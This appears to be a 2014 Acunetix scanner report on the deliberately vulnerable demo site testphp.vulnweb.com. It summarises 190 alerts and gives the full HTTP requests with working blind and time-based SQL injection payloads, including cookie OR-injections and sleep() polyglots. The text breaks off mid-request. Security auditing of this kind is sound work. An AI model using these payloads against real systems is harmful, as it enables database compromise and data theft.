acunetix

WEB APPLICATION SECURITY

Acunetix Website Audit

31 October, 2014

# Developer Report

Generated by Acunetix WVS Reporter (v9.0 Build 20140422)

# Scan of http://testphp.vulnweb.com:80/

## Scan details

| Scan information | |
|---|---|
| Start time | 31/10/2014 12:40:34 |
| Finish time | 31/10/2014 12:49:30 |
| Scan time | 8 minutes, 56 seconds |
| Profile | Default |

| Server information | |
|---|---|
| Responsive | True |
| Server banner | nginx/1.4.1 |
| Server OS | Unknown |
| Server technologies | PHP |

### Threat level


**Acunetix Threat Level 3**

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

### Alerts distribution

| | |
|---|---|
| **Total alerts found** | **190** |
| High | 93 |
| Medium | 48 |
| Low | 8 |
| Informational | 41 |

## Knowledge base

### WordPress web application

WordPress web application was detected in directory /bxss/adminPan3l.

### List of file extensions

File extensions can provide information on what technologies are being used on this website.
List of file extensions detected:

- php => 50 file(s)
- css => 4 file(s)
- swf => 1 file(s)
- fla => 1 file(s)
- conf => 1 file(s)
- htaccess => 1 file(s)
- htm => 1 file(s)
- xml => 8 file(s)
- name => 1 file(s)
- iml => 1 file(s)
- Log => 1 file(s)
- tn => 8 file(s)
- LOG => 1 file(s)
- bak => 2 file(s)
- txt => 2 file(s)
- html => 2 file(s)
- sql => 1 file(s)

- js => 1 file(s)

### List of client scripts

These files contain Javascript code referenced from the website.

- /medias/js/common_functions.js

### List of files with inputs

These files have at least one input (GET or POST).

- /search.php - 2 inputs
- /hpp - 1 inputs
- /hpp/params.php - 3 inputs
- /hpp/index.php - 1 inputs
- /cart.php - 1 inputs
- /artists.php - 1 inputs
- /userinfo.php - 2 inputs
- /guestbook.php - 2 inputs
- /AJAX/infotitle.php - 1 inputs
- /AJAX/infoartist.php - 1 inputs
- /AJAX/showxml.php - 1 inputs
- /AJAX/infocateg.php - 1 inputs
- /Mod_Rewrite_Shop/rate.php - 1 inputs
- /Mod_Rewrite_Shop/details.php - 1 inputs
- /Mod_Rewrite_Shop/buy.php - 1 inputs
- /secured/newuser.php - 2 inputs
- /secured/phpinfo.php - 1 inputs
- /sendcommand.php - 1 inputs
- /redir.php - 1 inputs
- /_mmServerScripts/MMHTTPDB.php - 1 inputs
- /comment.php - 6 inputs
- /product.php - 1 inputs
- /listproducts.php - 3 inputs
- /showimage.php - 2 inputs
- /bxss/vuln.php - 1 inputs

### List of external hosts

These hosts were linked from this website but they were not scanned because they are not listed in the list of hosts allowed.(Settings->Scanners settings->Scanner->List of hosts allowed).

- www.acunetix.com
- www.eclectasy.com
- download.macromedia.com
- www.php.net
- www.zend.com
- www.youtube.com
- blog.mindedsecurity.com

### List of email addresses

List of all email addresses found on this host.

- license@php.net
- root@dessler.cse.buffalo.edu
- root@localhost.localdomain
- wasp@acunetix.com
- wvs@acunetix.com

## Alerts summary

### Blind SQL Injection

| Affects | Variation |
|---|---|
| /AJAX/infoartist.php | 1 |
| /AJAX/infocateg.php | 1 |
| /AJAX/infotitle.php | 1 |
| /artists.php | 2 |
| /cart.php | 1 |
| /guestbook.php | 1 |
| /listproducts.php | 4 |
| /Mod_Rewrite_Shop/buy.php | 1 |
| /Mod_Rewrite_Shop/details.php | 1 |
| /Mod_Rewrite_Shop/rate.php | 1 |
| /product.php | 2 |
| /search.php | 5 |
| /secured/newuser.php | 1 |
| /sendcommand.php | 1 |
| /userinfo.php | 3 |

### CRLF injection/HTTP response splitting (verified)

| Affects | Variation |
|---|---|
| /redir.php | 1 |

### Cross site scripting

| Affects | Variation |
|---|---|
| /showimage.php | 2 |

### Cross site scripting (verified)

| Affects | Variation |
|---|---|
| /404.php | 1 |
| /AJAX/showxml.php | 1 |
| /comment.php | 1 |
| /guestbook.php | 5 |
| /hpp/ | 3 |
| /hpp/index.php | 3 |
| /hpp/params.php | 4 |
| /listproducts.php | 3 |
| /search.php | 2 |
| /secured/newuser.php | 6 |

### Directory traversal (verified)

| Affects | Variation |
|---|---|
| /showimage.php | 2 |

### HTTP parameter pollution

| Affects | Variation |
|---|---|
| /hpp/ | 1 |
| /hpp/index.php | 1 |

### PHP allow_url_fopen enabled

| Affects | Variation |
|---|---|
| /secured/phpinfo.php | 1 |

### Script source code disclosure

| Affects | Variation |
|---|---|
| /showimage.php | 1 |

### Server side request forgery

| Affects | Variation |
|---|---|
| /showimage.php | 2 |

### SQL injection (verified)

| Affects | Variation |
|---|---|
| /AJAX/infoartist.php | 1 |
| /AJAX/infocateg.php | 1 |
| /AJAX/infotitle.php | 1 |
| /artists.php | 2 |
| /cart.php | 1 |
| /guestbook.php | 1 |
| /listproducts.php | 4 |
| /Mod_Rewrite_Shop/buy.php | 1 |
| /Mod_Rewrite_Shop/details.php | 1 |
| /Mod_Rewrite_Shop/rate.php | 1 |
| /product.php | 2 |
| /search.php | 5 |
| /secured/newuser.php | 1 |
| /sendcommand.php | 1 |
| /userinfo.php | 3 |

### Weak password

| Affects | Variation |
|---|---|
| /userinfo.php | 1 |

### .htaccess file readable

| Affects | Variation |
|---|---|
| /Mod_Rewrite_Shop | 1 |

### Application error message

| Affects | Variation |
|---|---|
| /listproducts.php | 3 |
| /secured/newuser.php | 1 |
| /showimage.php | 1 |

### Backup files

| Affects | Variation |
|---|---|
| /index.bak | 1 |
| /index.zip | 1 |

### Directory listing

| Affects | Variation |
|---|---|
| /.idea | 1 |
| /.idea/scopes | 1 |
| /_mmServerScripts | 1 |
| /admin | 1 |
| /Connections | 1 |
| /CVS | 1 |
| /Flash | 1 |
| /images | 1 |
| /Mod_Rewrite_Shop/images | 1 |
| /pictures | 1 |
| /Templates | 1 |
| /wvstests | 1 |
| /wvstests/pmwiki_2_1_19 | 1 |
| /wvstests/pmwiki_2_1_19/scripts | 1 |

### Error message on page

| Affects | Variation |
|---|---|
| /AJAX/infoartist.php | 1 |
| /AJAX/infocateg.php | 1 |
| /AJAX/infotitle.php | 1 |
| /Connections/DB_Connection.php | 1 |
| /listproducts.php | 1 |
| /pictures/path-disclosure-unix.html | 1 |
| /secured/database_connect.php | 1 |

### HTML form without CSRF protection

| Affects | Variation |
|---|---|
| / | 1 |
| /comment.php | 1 |
| /guestbook.php | 1 |
| /hpp/index.php (914f51fea3c42cbd541a6953a8b115a4) | 1 |
| /login.php | 1 |
| /signup.php | 1 |

### Insecure crossdomain.xml file

| Affects | Variation |
|---|---|
| Web Server | 1 |

### JetBrains .idea project directory

| Affects | Variation |
|---|---|
| / | 1 |

### PHP errors enabled

| Affects | Variation |
|---|---|
| /secured/phpinfo.php | 1 |

### PHP open_basedir is not set

| Affects | Variation |
|---|---|
| /secured/phpinfo.php | 1 |

### PHPinfo page found

| Affects | Variation |
|---|---|
| /secured/phpinfo.php | 2 |

### Source code disclosure

| Affects | Variation |
|---|---|
| /index.bak | 1 |
| /pictures/wp-config.bak | 1 |

### URL redirection

| Affects | Variation |
|---|---|
| /redir.php | 1 |

### User credentials are sent in clear text

| Affects | Variation |
|---|---|
| /login.php | 1 |
| /signup.php | 1 |

### User-controlled form action

| Affects | Variation |
|---|---|
| /showimage.php | 1 |

### WS_FTP log file found

| Affects | Variation |
|---|---|
| /pictures//WS_FTP.LOG | 1 |

### Clickjacking: X-Frame-Options header missing

| Affects | Variation |
|---|---|
| Web Server | 1 |

### Hidden form input named price was found

| Affects | Variation |
|---|---|
| /product.php (bf4bb1e515b3710a881441fd37c85e8c) | 1 |

### Login page password-guessing attack

| Affects | Variation |
|---|---|
| /userinfo.php | 1 |

### Possible virtual host found

| Affects | Variation |
|---|---|
| localhost | 1 |

### Session Cookie without HttpOnly flag set

| Affects | Variation |
|---|---|
| / | 2 |

### Session Cookie without Secure flag set

| Affects | Variation |
|---|---|
| / | 2 |

### Broken links

| Affects | Variation |
|---|---|
| /medias/css/main.css | 1 |
| /medias/js/common_functions.js | 1 |
| /Mod_Rewrite_Shop/Details/color-printer/3 | 1 |
| /Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1 | 1 |
| /Mod_Rewrite_Shop/Details/web-camera-a4tech/2 | 1 |
| /privacy.php | 1 |
| /secured/office_files/filelist.xml | 1 |

### Email address found

| Affects | Variation |
|---|---|
| / | 1 |
| /404.php | 1 |
| /artists.php | 1 |
| /cart.php | 1 |
| /categories.php | 1 |
| /disclaimer.php | 1 |
| /guestbook.php | 1 |
| /index.bak | 1 |
| /index.php | 1 |
| /listproducts.php | 1 |
| /login.php | 1 |
| /logout.php | 1 |
| /product.php | 1 |
| /search.php | 1 |
| /secured/phpinfo.php | 1 |
| /signup.php | 1 |
| /Templates/main_dynamic_template.dwt.php | 1 |

### GHDB: Default phpinfo page

| Affects | Variation |
|---|---|
| /secured/phpinfo.php | 1 |

### GHDB: phpinfo()

| Affects | Variation |
|---|---|
| /secured/phpinfo.php | 1 |

### GHDB: Sablotron error message

| Affects | Variation |
|---|---|
| /pictures/path-disclosure-unix.html | 1 |

### GHDB: SQL error message

| Affects | Variation |
|---|---|
| /Connections/DB_Connection.php | 1 |
| /secured/database_connect.php | 1 |

### Microsoft Office possible sensitive information

| Affects | Variation |
|---|---|
| /secured/office.htm | 1 |

### Password type input with auto-complete enabled

| Affects | Variation |
|---|---|
| /login.php | 1 |
| /signup.php | 2 |

### Possible internal IP address disclosure

| Affects | Variation |
|---|---|
| /404.php | 1 |
| /pictures/ipaddresses.txt | 1 |
| /secured/phpinfo.php | 1 |

### Possible server path disclosure (Unix)

| Affects | Variation |
|---|---|
| /pictures/path-disclosure-unix.html | 1 |
| /secured/phpinfo.php | 1 |

### Possible username or password disclosure

| Affects | Variation |
|---|---|
| /Connections/DB_Connection.php | 1 |
| /pictures/credentials.txt | 1 |
| /secured/database_connect.php | 1 |

# Alert details

## Blind SQL Injection

| | |
|---|---|
| Severity | **High** |
| Type | Validation |
| Reported by module | Scripting (Blind_Sql_Injection.script) |

### Description

This script is possibly vulnerable to SQL Injection attacks.

SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.

### Impact

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.

### Recommendation

Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.

### References

VIDEO: SQL Injection tutorial
OWASP Injection Flaws
How to check for SQL injection vulnerabilities
SQL Injection Walkthrough
OWASP PHP Top 5
Acunetix SQL Injection Attack

### Affected items

**/AJAX/infoartist.php**

Details

URL encoded GET input id was set to 3 AND 3*2*1=6 AND 61=61

Tests performed:
- 0+0+0+3 => TRUE
- 0+61*56+3 => FALSE
- 13-5-2-999 => FALSE
- 13-5-2-3 => TRUE
- 13-2*5+0+0+1-1 => TRUE
- 13-2*6+0+0+1-1 => FALSE
- 3 AND 2+1-1-1=1 AND 61=61 => TRUE
- 3 AND 3+1-1-1=1 AND 61=61 => FALSE[/l ... (line truncated)

Request headers

```
GET /AJAX/infoartist.php?id=3%20AND%203*2*1%3d6%20AND%2061%3d61 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
```

```
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/AJAX/infocateg.php**

Details

URL encoded GET input id was set to 3 AND 3*2*1=6 AND 673=673

Tests performed:
- 0+0+0+3 => TRUE
- 0+673*668+3 => FALSE
- 13-5-2-999 => FALSE
- 13-5-2-3 => TRUE
- 13-2*5+0+0+1-1 => TRUE
- 13-2*6+0+0+1-1 => FALSE
- 3 AND 2+1-1-1=1 AND 673=673 => TRUE
- 3 AND 3+1-1-1=1 AND 673=673 => FALSE[/ ... (line truncated)

Request headers

```
GET /AJAX/infocateg.php?id=3%20AND%203*2*1%3d6%20AND%20673%3d673 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/AJAX/infotitle.php**

Details

URL encoded POST input id was set to 3 AND 3*2*1=6 AND 589=589

Tests performed:
- 0+0+0+3 => TRUE
- 0+589*584+3 => FALSE
- 13-5-2-999 => FALSE
- 13-5-2-3 => TRUE
- 13-2*5+0+0+1-1 => TRUE
- 13-2*6+0+0+1-1 => FALSE
- 3 AND 2+1-1-1=1 AND 589=589 => TRUE
- 3 AND 3+1-1-1=1 AND 589=589 => FALSE[ ... (line truncated)

Request headers

```
POST /AJAX/infotitle.php HTTP/1.1
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

id=3%20AND%203*2*1%3d6%20AND%20589%3d589
```

**/artists.php**

Details

URL encoded GET input artist was set to 3 AND 3*2*1=6 AND 391=391

Tests performed:
- 0+0+0+3 => TRUE
- 0+391*386+3 => FALSE
- 13-5-2-999 => FALSE
- 13-5-2-3 => TRUE
- 13-2*5+0+0+1-1 => TRUE
- 13-2*6+0+0+1-1 => FALSE
- 3 AND 2+1-1-1=1 AND 391=391 => TRUE
- 3 AND 3+1-1-1=1 AND 391=391 => FAL ... (line truncated)

Request headers

```
GET /artists.php?artist=3%20AND%203*2*1%3d6%20AND%20391%3d391 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/artists.php**

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000904=000904 --

Tests performed:
- -1' OR 2+904-904-1=0+0+0+1 -- => TRUE
- -1' OR 3+904-904-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+904-904) -- => FALSE
- -1' OR 3*2>(0+5+904-904) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000904=000904 -- => TRUE
- -1' OR 000904=000904 AND 3+1-1-1=1 - ... (line truncated)

Request headers

```
GET /artists.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000904=000904%20--%20
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/cart.php**

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000694=000694 --

Tests performed:
- -1' OR 2+694-694-1=0+0+0+1 -- => TRUE
- -1' OR 3+694-694-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+694-694) -- => FALSE
- -1' OR 3*2>(0+5+694-694) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000694=000694 -- => TRUE
- -1' OR 000694=000694 AND 3+1-1-1=1 - ... (line truncated)

Request headers

```
GET /cart.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000694=000694%20--%20
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
```

```
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/guestbook.php**

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000452=000452 --

Tests performed:
- -1' OR 2+452-452-1=0+0+0+1 -- => TRUE
- -1' OR 3+452-452-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+452-452) -- => FALSE
- -1' OR 3*2>(0+5+452-452) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000452=000452 -- => TRUE
- -1' OR 000452=000452 AND 3+1-1-1=1 - ... (line truncated)

Request headers

```
GET /guestbook.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000452=000452%20--%20
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

URL encoded GET input artist was set to
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR"'XOR(if(now()=sysdate(),sleep(0),0))OR"*/

Tests performed:
- if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR"'XOR(if(now()=sysdate(),sleep(6),0))OR"*/ => 6.047 s
- if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR"'XOR(if(now()=sysdate(),sleep(0),0))OR"*/ ... (line truncated)

Request headers

```
GET
/listproducts.php?artist=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()
%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/ HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

URL encoded GET input cat was set to
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR"'XOR(if(now()=sysdate(),sleep(0),0))OR"*/

Tests performed:
- if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR"'XOR(if(now()=sysdate(),sleep(6),0))OR"*/ => 6.047 s
- if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR"'XOR(if(now()=sysdate(),sleep(9),0))OR"*/ => ... (line truncated)

Request headers

```
GET
/listproducts.php?cat=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2
```

```
csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/ HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

URL encoded GET input cat was set to 1 AND 3*2*1=6 AND 464=464

Tests performed:
- 0+0+0+1 => TRUE
- 0+464*459+1 => FALSE
- 11-5-2-999 => FALSE
- 11-5-2-3 => TRUE
- 11-2*5+0+0+1-1 => TRUE
- 11-2*6+0+0+1-1 => FALSE
- 1 AND 2+1-1-1=1 AND 464=464 => TRUE
- 1 AND 3+1-1-1=1 AND 464=464 => FALSE[ ... (line truncated)

Request headers

```
GET /listproducts.php?artist=1&cat=1%20AND%203*2*1%3d6%20AND%20464%3d464 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/listproducts.php**

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000538=000538 --

Tests performed:
- -1' OR 2+538-538-1=0+0+0+1 -- => TRUE
- -1' OR 3+538-538-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+538-538) -- => FALSE
- -1' OR 3*2>(0+5+538-538) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000538=000538 -- => TRUE
- -1' OR 000538=000538 AND 3+1-1-1=1 - ... (line truncated)

Request headers

```
GET /listproducts.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000538=000538%20--%20
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Mod_Rewrite_Shop/buy.php**

Details

URL encoded GET input id was set to 1 AND 3*2*1=6 AND 978=978

Tests performed:
- 0+0+0+1 => TRUE
- 0+978*973+1 => FALSE
- 11-5-2-999 => FALSE
- 11-5-2-3 => TRUE
- 11-2*5+0+0+1-1 => TRUE
- 11-2*6+0+0+1-1 => FALSE
- 1 AND 2+1-1-1=1 AND 978=978 => TRUE
- 1 AND 3+1-1-1=1 AND 978=978 => FALSE[/ ... (line truncated)

Request headers

```
GET /Mod_Rewrite_Shop/buy.php?id=1%20AND%203*2*1%3d6%20AND%20978%3d978 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Mod_Rewrite_Shop/details.php**

Details

URL encoded GET input id was set to 1 AND 3*2*1=6 AND 707=707

Tests performed:
- 0+0+0+1 => TRUE
- 0+707*702+1 => FALSE
- 11-5-2-999 => FALSE
- 11-5-2-3 => TRUE
- 11-2*5+0+0+1-1 => TRUE
- 11-2*6+0+0+1-1 => FALSE
- 1 AND 2+1-1-1=1 AND 707=707 => TRUE
- 1 AND 3+1-1-1=1 AND 707=707 => FALSE[/ ... (line truncated)

Request headers

```
GET /Mod_Rewrite_Shop/details.php?id=1%20AND%203*2*1%3d6%20AND%20707%3d707 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/Mod_Rewrite_Shop/rate.php**

Details

URL encoded GET input id was set to 1 AND 3*2*1=6 AND 270=270

Tests performed:
- 0+0+0+1 => TRUE
- 0+270*265+1 => FALSE
- 11-5-2-999 => FALSE
- 11-5-2-3 => TRUE
- 11-2*5+0+0+1-1 => TRUE
- 11-2*6+0+0+1-1 => FALSE
- 1 AND 2+1-1-1=1 AND 270=270 => TRUE
- 1 AND 3+1-1-1=1 AND 270=270 => FALSE[/ ... (line truncated)

Request headers

```
GET /Mod_Rewrite_Shop/rate.php?id=1%20AND%203*2*1%3d6%20AND%20270%3d270 HTTP/1.1
X-Requested-With: XMLHttpRequest
```

```
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/product.php**

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000274=000274 --

Tests performed:
- -1' OR 2+274-274-1=0+0+0+1 -- => TRUE
- -1' OR 3+274-274-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+274-274) -- => FALSE
- -1' OR 3*2>(0+5+274-274) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000274=000274 -- => TRUE
- -1' OR 000274=000274 AND 3+1-1-1=1 - ... (line truncated)

Request headers

```
GET /product.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000274=000274%20--%20
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/product.php**

Details

URL encoded GET input pic was set to 2 AND 3*2*1=6 AND 601=601

Tests performed:
- 0+0+0+2 => TRUE
- 0+601*596+2 => FALSE
- 12-5-2-999 => FALSE
- 12-5-2-3 => TRUE
- 12-2*5+0+0+1-1 => TRUE
- 12-2*6+0+0+1-1 => FALSE
- 2 AND 2+1-1-1=1 AND 601=601 => TRUE
- 2 AND 3+1-1-1=1 AND 601=601 => FALSE[ ... (line truncated)

Request headers

```
GET /product.php?pic=2%20AND%203*2*1%3d6%20AND%20601%3d601 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/search.php**

Details

Cookie input login was set to -1' OR 3*2*1=6 AND 000807=000807 --

Tests performed:
- -1' OR 2+807-807-1=0+0+0+1 -- => TRUE
- -1' OR 3+807-807-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+807-807) -- => FALSE
- -1' OR 3*2>(0+5+807-807) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000807=000807 -- => TRUE
- -1' OR 000807=000807 AND 3+1-1-1=1 - ... (line truncated)

Request headers

```
GET /search.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000807=000807%20--%20
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

**/search.php**

Details

URL encoded POST input searchFor was set to
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR"'XOR(if(now()=sysdate(),sleep(0),0))OR"*/

Tests performed:
- if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR"'XOR(if(now()=sysdate(),sleep(3),0))OR"*/ => 3.062 s
- if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR"'XOR(if(now()=sysdate(),sleep(6),0))O ... (line truncated)

Request headers

```
POST /search.php?test=query HTTP/1.1
Content-Length: 156
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

goButton=go&searchFor=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2c
sleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/
```

**/search.php**

Details

URL encoded POST input searchFor was set to
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR"'XOR(if(now()=sysdate(),sleep(0),0))OR"*/

Tests performed:
- if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR"'XOR(if(now()=sysdate(),sleep(6),0))OR"*/ => 6.046 s
- if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR"'XOR(if(now()=sysdate(),sleep(0),0))O ... (line truncated)

Request headers

```
POST /search.php?test=1 HTTP/1.1
Content-Length: 144
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
```

```
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

searchFor=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0
